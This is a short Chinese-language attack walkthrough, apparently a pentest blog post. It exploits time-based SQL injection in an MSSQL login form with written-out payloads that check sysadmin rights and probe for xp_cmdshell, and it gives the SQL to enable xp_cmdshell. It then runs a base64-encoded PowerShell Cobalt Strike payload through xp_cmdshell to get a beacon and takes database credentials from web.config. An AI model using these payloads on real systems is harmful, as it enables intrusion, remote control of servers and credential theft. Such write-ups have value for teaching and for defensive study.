Part.1
mssql注入
mssql注入
首先打开目标是一个登陆界面:
通过burp抓包,发现登陆口存在sql注入:
尝试延时注入,成功:
判断是否为dba权限(也可用sqlmap的–is-dba判断>):
代码语言:javascript复制action=login&name=admin';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:5';--&psw=admin
判断是否为站库分离:
代码语言:javascript复制uname=test';if(host_name()=@@servername)WAITFOR DELAY '0:0:5';--
检查是否开启xp_cmdshell:
代码语言:javascript复制action=login&name=admin';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'--&psw=admin
响应包出现延时,可以执行系统命令~
如果没有开启,通过以下命令开启:
代码语言:javascript复制
(1)恢复/删除xp_cmdshell
exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
exec sp_dropextendedproc 'xplog70.dll'
(2)# 关闭xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',0;
RECONFIGURE;
(3)# 启用xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
Part.2
上线Cobalt Strike
上线Cobalt Strike
首先打开Cobalt Strike:
生成powershell类型的payload:
由于存在单引号,无法直接执行,将payload进行base64加密:
代码语言:javascript复制http://www.jackson-t.ca/runtime-exec-payloads.html
通过xp_cmdshell执行powershell payload:
查看web log,发现存在访问记录:
事件日志显示服务器上线:
beacon上线,执行系统命令:
上线后翻找服务器文件,可以在inetput目录下找到web服务配置文件:
//inetpub文件夹是IIS(Internet Information Services)中Windows站点的根。
Web.config包含数据库配置:
成功连接数据库: